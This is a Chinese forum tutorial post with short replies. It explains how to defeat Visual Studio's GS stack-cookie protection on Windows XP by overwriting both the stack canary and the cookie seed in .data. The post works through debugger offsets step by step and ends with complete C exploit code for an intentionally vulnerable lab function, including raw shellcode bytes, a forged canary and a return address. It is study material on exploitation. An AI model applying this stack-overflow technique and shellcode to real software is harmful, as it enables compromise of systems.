吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8128|回复: 7
收起左侧

[漏洞分析] 同时替换栈中和.data中的Cookie突破GS

[复制链接]
筠溪 发表于 2017-7-28 10:45
本帖最后由 筠溪 于 2017-7-29 20:45 编辑

最近刚刚接触漏洞调试逆向,希望能够将自己调试过程中的看法与大家分享,望大神们不要喷我。参考书籍就是有名的《0day》,作为想接触漏洞的新手非常适合。
言归正传
GS机制:
GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序
GS流程:
  • 程序启动时,读取.data节的第一个dword。
  • 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
  • 把加密后的种子再写入.data节的第一个dword。函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。函数主体正常执行。
  • 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。


意思就是,.data第一个dword异或ebp后,存放到ebp低地址端,函数返回前,这个数再xor ebp,和.data中相比较。

GS突破的思路:
1、利用未被保护的内存突破GS
2、覆盖虚函数突破GS(wnagzihxain有讲到
3、攻击SEH突破GS
4、同时替换栈中和.data中的cookie突破GS(同样讲到过

由于自己第一次发帖,刚好看到第四个突破技术,索性就记录下来以便交流


我们不看代码,试想一下,如果想要同时替换栈中和.data中的cookie,需要几步。需要什么条件。
攻击条件:
  • 首先这个条件就很苛刻,正常情况下,我们是无法访问到.data段中的,只有当一个指针偏移没有作判断,能够为我们所用,将它指向.data的时候,才能够覆盖修改.data的第一个dword。代码中创造的条件是这样的,先申请一块堆区,再创建一个指针指向的地址是堆区+偏移(i),当i为我们恶意构造的负数的时候,就有可能指向.data段
  • 其次,要有shellcode覆盖,代码中给了一个strcpy,我们喜闻乐见的一个函数。

代码如下(shellcode内容我们慢慢给出,这里先看程序):
[C] 纯文本查看 复制代码
void test(char * str, int i, char * src)
{
        char dest[200];
        
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        //__asm int 3
        test(str,0xFFFF2FB8,shellcode);        
}


攻击调试步骤:
1、在调试的时候,确认堆区的地址和我们要覆盖的.data首地址离多远,这样就能确认这个指针偏移 i 是多少;
2、确定shellcode的覆盖偏移,到底哪个偏移地址是canary的位置;
前两部可以利用函数返回时候的check_securitycookie函数查看系统是怎么检查参数的
3、确定shellcode中canary的值,索性把shellcode的第一个dword设置为canary(90909090),那么我们用多少覆盖呢,这需要在调试中xor ebp后确定;
4、确定shellcode组织结构。

下面和大家一起调试,确定shellcode的内容
调试环境:
XP sp3
vs 2008
release版本
optimization给disable掉(不然,调试代码看不懂,canary异或的也是esp而不是ebp)

第一步,确定偏移
其实不能完全按照步骤进行参数获取,因为后面有些参数可能在前面的调试中就已经获取了,按步骤说只是便于理解。
先把shellcode设置为四个字节90909090.指针偏移也设置为0:

[C] 纯文本查看 复制代码
#include <string.h>
#include <stdlib.h>
char shellcode[]=

"\x90\x90\x90\x90"//new value of cookie in .data
;
void test(char * str, int i, char * src)
{
        char dest[200];
        
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
__asm int 3
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        test(str,0,shellcode);        
}


我们首先要看cookie是怎么校验的。原书中讲到在if语句处中断,我设置了int3之后,停下来发现cookie已经被放进.data了,所以我就下在了strcpy之前
360截图20170728094850757.jpg

这一步获取的参数:
.data地址:0x00403000
栈中需要覆盖canary的地址:0x0012FF60
栈中需要返回的地址0x0012FF68
堆分配首地址(这一步我忘记标出来了,他就是test函数test(str,0,shellcode)返回地址前、高地址处的第一个str的地址):0x00410048
计算可得:0x410048-0x403000=53320,由于这个偏移应该是负数,所以i=-53320=FFFF2FB8
这样第一二步骤的参数已经得到了

将i修改后,如下:
[C] 纯文本查看 复制代码
void test(char * str, int i, char * src)
{
        char dest[200];
        
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
                __asm int 3
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        test(str,0xFFFF2FB8,shellcode);        
}


第二步,确定canary的值
如何确定?已经我们要将90909090写入.data,GS校验的时候,会将canary和ebp异或然后和90909090对比,所以,canary=90909090 xor 当时的ebp
int3位置不变,我们还定位到函数准备返回检查canary的时候
360截图20170728101750183.jpg
canary = 0x0012ff64 xor 0x90909090 = 0x90826ff4



第三步,确定shellcode组织结构
对了,shellcode在栈中的位置还没确定呢
还是刚才的断点,在strcpy之前停下来,找shellcode 复制的栈中位置,这也是为什么设置90909090,因为明显好找,还可以搜索
360截图20170728103026718.jpg
找到了shellcode地址=0x0012FE94
所以shellcode总大小=0x0012FE94-返回的地址0x0012FF68 +4=216字节
覆盖返回地址:12FF68-12FF6B
覆盖canary地址:12FF60-12FF63
最后12个字节是这样的\xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
所以shellcode是这样安排的:
\x90\x90\x90\x90||\xFC\x68···\x57\xF8||\x90···\x90|| \xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
4字节                       168字节                     32字节(216-4-168-12=32字节)           12个字节

最终形成代码
[C] 纯文本查看 复制代码
#include <string.h>
#include <stdlib.h>
char shellcode[]=

"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
        char dest[200];
        
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        //__asm int 3
        test(str,0xFFFF2FB8,shellcode);        
}

360截图20170728104332390.jpg

成功溢出。

免费评分

参与人数 3威望 +1 吾爱币 +12 热心值 +3 收起 理由
陌路无人 + 1 + 1 用心讨论,共获提升!
Three_fish + 1 + 1 谢谢@Thanks!
Hmily + 1 + 10 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

qqqmyj 发表于 2017-7-28 12:17
感谢分享!
YY001XX 发表于 2017-7-28 12:43
Three_fish 发表于 2017-7-28 19:30
520wangshun 发表于 2017-7-29 10:23
感谢分享教程
Lensual 发表于 2017-7-29 18:18
mark一下
头像被屏蔽
爱蜂玩爱疯玩 发表于 2017-11-10 16:28
提示: 作者被禁止或删除 内容自动屏蔽
vili88 发表于 2018-7-15 20:56
支持楼主……很实用
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-20 05:07

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表